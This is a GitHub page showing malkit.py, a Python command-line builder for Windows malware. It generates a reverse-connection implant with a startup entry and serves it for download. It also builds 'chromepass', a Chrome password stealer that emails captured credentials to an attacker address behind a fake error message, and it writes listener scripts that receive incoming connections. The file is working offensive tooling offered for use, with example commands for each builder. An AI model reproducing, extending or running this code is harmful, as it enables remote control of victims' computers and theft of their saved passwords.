-
Notifications
You must be signed in to change notification settings - Fork 10
/
malkit.py
456 lines (385 loc) · 14 KB
/
malkit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
import argparse
import configparser
import os
import shutil
import subprocess
import sys
import time
from builtins import KeyboardInterrupt
from multiprocessing import Process
from os.path import exists
from subprocess import call
import win32com.shell.shell as shell
from progress.spinner import Spinner
def run_server():
print("Starting Download Server")
os.system(f"start cmd /K {sys.executable} server.py")
if sys.platform == "linux":
print("""
[!] ATTENTION
You are running this on Linux and as such, building capabilities are limited.
You can only build the listener
""")
linux = True
else:
from darkarp.malkit_modules import build
linux = False
# from testing import build
# #? LOAD SETTINGS #
CONFIG_FILE = "malkit.conf"
CONFIG = configparser.ConfigParser()
CONFIG.read(CONFIG_FILE)
__VERSION = CONFIG["DEFAULT"]["VersionLong"]
def get_csc():
csc_test = "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\MSBuild.exe"
return csc_test
def create_downloader():
csc = get_csc()
dir_path = os.path.dirname(os.path.realpath(__file__))
dwn = "templates/downloader/downloader.sln\" /t:test"
print(dir_path)
commands = f"{csc} \"{dir_path}/{dwn}"
print(commands)
a = subprocess.Popen(commands, stdin=subprocess.PIPE,
stderr=subprocess.PIPE, stdout=subprocess.PIPE, shell=True)
print(a.stdout.read().decode())
print(a.stderr.read().decode())
pathFile = "templates\\downloader\\downloader\\bin\\Release\\downloader.exe"
# try:
# if os.path.exists(pathFile):
# os.rename(pathFile, "builds\\downloader.exe")
# os.removedirs("templates/downloader/downloader/bin")
# os.removedirs("templates/downloader/downloader/obj")
# except:
# print("oops")
def check_folders():
if not os.path.exists("builds"):
os.mkdir("builds")
if not os.path.exists("listeners"):
os.mkdir("listeners")
def build_listener(args, bypass=False):
check_folders()
interact = True
temp_listener = CONFIG["TEMPLATES"]["listener"]
if not bypass:
if args.max_connections:
connections_max = args.max_connections
else:
connections_max = CONFIG["LISTENER"]["CONNECTIONS_MAX"]
port = args.p
if not args.no_interact:
interact = False
else:
port = args
connections_max = CONFIG["LISTENER"]["CONNECTIONS_MAX"]
with open(temp_listener, "r") as f:
listener_script = f.read()
listener_script_final = listener_script.replace(
"<<PORT>>", str(port))
listener_script_final = listener_script_final.replace(
"<<CONNECTIONS_MAX>>", connections_max)
with open("listeners/listener.py", "w") as f:
f.write(listener_script_final)
if interact:
while True:
start = input("Would you like to start the listener? [y/n]> ")
if start.lower() == "y" or start.lower() == 'yes':
try:
call(["python", "listeners/listener.py"])
except KeyboardInterrupt:
if linux:
os.system("reset")
print("[+] Exited successfully")
os._exit(0)
elif start.lower() == 'n' or start.lower() == "no":
break
return len(listener_script_final)
def build_malware(args):
print("[!] Still in testing")
check_folders()
if args.reconnect_min or args.reconnect_max:
reconnect_min = args.reconnect_min
reconnect_max = args.reconnect_max
else:
reconnect_min = CONFIG["MALWARE"]["RECONNECT_MIN"]
reconnect_max = CONFIG["MALWARE"]["RECONNECT_MAX"]
host = f"'{args.host}'"
port = str(args.p)
for _ in range(len(sys.argv)-1):
sys.argv.pop()
filename = CONFIG["MALWARE"]["Filename"]
target = CONFIG["MALWARE"]["Stub"]
output = CONFIG["MALWARE"]["Output"]
startup_name = CONFIG["MALWARE"]["Startup_name"]
startup_icon = CONFIG["MALWARE"]["Startup_icon"]
payload_name = CONFIG["MALWARE"]["Payload_name"]
timeout = CONFIG["MALWARE"]["Timeout"]
stub_try = CONFIG["STUB"]["TRY"]
stub_funclist = CONFIG["STUB"]["FUNC_LIST"]
temp_stub = CONFIG["TEMPLATES"]["stub"]
#
temp_malware = CONFIG["TEMPLATES"]["malware"]
# Create Stub
with open(temp_stub, "r") as f:
stub_child = f.read()
stub_final = stub_child.replace("<<TRY>>", stub_try)
stub_final = stub_final.replace("<<FUNC_LIST>>", stub_funclist)
with open(target, "w") as f:
f.write(stub_final)
# Create Malware
with open(temp_malware, "r") as f:
mal_child = f.read()
mal_final = mal_child.replace("<<HOST>>", host)
mal_final = mal_final.replace("<<PORT>>", port)
mal_final = mal_final.replace("<<SESSION_TIMEOUT>>", timeout)
mal_final = mal_final.replace("<<RECONNECT_MIN>>", reconnect_min)
mal_final = mal_final.replace("<<RECONNECT_MAX>>", reconnect_max)
with open(filename, "w") as f:
f.write(mal_final)
# Build the Executable and clean
build.exebuild(target=target, include='_malkit',
output=startup_name, icon=startup_icon)
include = build.generate_payload(filename=filename,
destname=payload_name,
startup=startup_name,
icon="icons/icon.ico")
build.exebuild(target=target, include=include,
output=output, icon="icons/icon.ico")
shutil.copyfile(f"{output}.exe", "templates/serve/malware.exe")
remove = [f'_malkit/{payload_name}.py',
'Windows Defender.exe', 'malware.py', 'stub.py']
for file in remove:
try:
os.remove(file)
except Exception as Err:
print(Err)
spinner = Spinner("Finalizing... ")
for i in range(10):
time.sleep(0.1)
spinner.next()
print("\n[+] Done")
time.sleep(1)
os.system("cls")
print("You can locate the generated file in the builds folder.")
done = False
while not done:
listener_build = input(
"Would you like to build the listener too? [Y/N]: ")
if listener_build.lower() == "y":
build_listener(port, bypass=True)
done = True
elif listener_build.lower() == "n":
done = True
return len(stub_final)
def build_chromepass(args):
check_folders()
if args.load:
print("Loading from file...")
print("Not implemented yet")
if args.email and not args.reverse_shell:
mailto = args.address
for _ in range(len(sys.argv)-1):
sys.argv.pop()
# Create Chromepass
temp_chromepass = CONFIG["TEMPLATES"]["chromepass_email"]
errorfile = CONFIG["TEMPLATES"]["error_OK"]
filename = CONFIG["CHROMEPASS"]["Filename"] + ".py"
passfile = CONFIG["CHROMEPASS"]["passfile"]
output = CONFIG["CHROMEPASS"]["output"]
server = CONFIG["CHROMEPASS"]["server"]
email = CONFIG["CHROMEPASS"]["email"]
pwd = CONFIG["CHROMEPASS"]["password"]
icon = CONFIG["CHROMEPASS"]["icon"]
if not args.no_error:
if args.errormsg:
error_msg = args.errormsg
sys.argv.pop()
sys.argv.pop()
else:
error_msg = CONFIG["CHROMEPASS"]["errormsg"]
with open(errorfile, "r") as f:
error_pre = f.read()
error_final = error_pre.replace("<<ERRORMSG>>", error_msg)
error_final = error_final.replace("<<TITLE>>", "Error")
else:
error_final = ""
with open(temp_chromepass, "r") as f:
cp_child = f.read()
cp_final = cp_child.replace("<<PASSFILE>>", passfile)
cp_final = cp_final.replace("<<EMAIL>>", email)
cp_final = cp_final.replace("<<PASSWORD>>", pwd)
cp_final = cp_final.replace("<<MAILTO>>", mailto)
cp_final = cp_final.replace("<<SERVER>>", server)
cp_final = cp_final.replace("<<ERROR>>", error_final)
with open(filename, "w") as f:
f.write(cp_final)
# Build the Executable and clean
build.exebuild(target=filename, include='_malkit',
output=f"builds/{output}", icon=icon)
spinner = Spinner("Finalizing build...")
for i in range(10):
time.sleep(0.1)
spinner.next()
print("\n[+] Done")
time.sleep(1)
os.system("cls")
print("You can locate the generated file in the builds folder.")
try:
os.remove(filename)
except Exception as e:
print(e)
return len(cp_final)
elif args.reverse_shell and not args.email:
for _ in range(len(sys.argv)-1):
sys.argv.pop()
print("Not implemented yet but it's easier than email... \
A copy paste will work, adding after rest is working")
else:
return print("Error, please specify one option \
(email or reverse shell)")
def getOptions():
parser = argparse.ArgumentParser()
subparsers = parser.add_subparsers(
title="Module-specific commands")
# Versioning
parser.add_argument("-v", "--version", action="version",
version=__VERSION)
# Build listener
listener_example = '''example:
python malkit.py build_listener -p 4444
python malkit.py build_listener -p 4444 --max_connections 10
'''
parser_build_listener = subparsers.add_parser(
'build_listener',
epilog=listener_example,
formatter_class=argparse.RawDescriptionHelpFormatter,
help="-h for help",
)
parser_build_listener_required = parser_build_listener.add_argument_group(
'Required named arguments')
parser_build_listener.add_argument(
"--max_connections",
type=str,
metavar=f"Max number of possible connections",
required=False
)
parser_build_listener.add_argument(
"--no_interact",
default=False,
action='store_true',
required=False)
parser_build_listener_required.add_argument(
"-p",
type=int,
metavar=f"Port for reverse connection",
required=True)
parser_build_listener.set_defaults(func=build_listener)
# Build malware
malware_example = '''example:
python malkit.py build_malware --host 127.0.0.1 -p 4444
python malkit.py build_malware --host 127.0.0.1 -p 4444 --reconnect_min 5 --reconnect_max 60
'''
parser_build_malware = subparsers.add_parser(
'build_malware',
epilog=malware_example,
formatter_class=argparse.RawDescriptionHelpFormatter,
help="-h for help")
parser_build_malware.add_argument(
"--reconnect_min",
type=str,
metavar=f"Mininum ime to reconnect, chosen at random between min and max",
required=False
)
parser_build_malware.add_argument(
"--reconnect_max",
type=str,
metavar=f"Max time to reconnect, chosen at random between min and max",
required=False
)
parser_build_malware_required = parser_build_malware.add_argument_group(
'Required named arguments')
parser_build_malware_required.add_argument(
"--host",
type=str,
metavar=f"IP for reverse connection",
required=True)
parser_build_malware_required.add_argument(
"-p",
type=int,
metavar=f"Port for reverse connection.",
required=True)
parser_build_malware.set_defaults(func=build_malware)
# Build chromepass
chromepass_example = '''example:
python malkit.py build_chromepass --email --address [email protected]
python malkit.py build_chromepass --reverse_shell --host 127.0.0.1 -p 4444
python malkit.py build_chromepass --load myfile.conf
'''
parser_build_chromepass = subparsers.add_parser(
'build_chromepass',
epilog=chromepass_example,
formatter_class=argparse.RawDescriptionHelpFormatter,
help="-h for help")
parser_build_chromepass.add_argument(
"--load",
default=False,
action="store_true",
required=False)
parser_build_chromepass.add_argument(
"--email",
default=False,
action="store_true",
required=False)
parser_build_chromepass.add_argument(
"--reverse_shell",
default=False,
action='store_true',
required=False)
parser_build_chromepass.add_argument(
"--no_error",
default=False,
action='store_true',
required=False)
parser_build_chromepass.add_argument(
"--errormsg",
type=str,
metavar=f"Error message to appear",
required=False)
parser_build_chromepass.add_argument(
"--address",
type=str,
metavar=f"Email address to send details to, if Email was chosen",
required=False)
parser_build_chromepass.add_argument(
"--port",
type=int,
metavar=f"Port for reverse connection, if Reverse shell was chosen.",
required=False)
parser_build_chromepass.add_argument(
"--host",
type=str,
metavar=f"Host reverse connection, if Reverse shell was chosen.",
required=False)
parser_build_chromepass.set_defaults(func=build_chromepass)
# Parse the arguments
args = parser.parse_args()
# Check for mutually inclusive
try:
if args.reconnect_min and args.reconnect_max is None:
parser.error("--reconnect_min requires --reconnect_max")
elif args.reconnect_max and args.reconnect_min is None:
parser.error("--reconnect_max requires --reconnect_min")
elif args.email and (args.address is None):
parser.error("--email requires --address")
elif args.reverse_shell and (args.host is None or args.port is None):
parser.error("--reverse_shell requires --host and --port.")
except Exception:
pass
try:
args.func(args)
except Exception:
# raise(err)
return parser.print_help()
return 0
if __name__ == "__main__":
getOptions()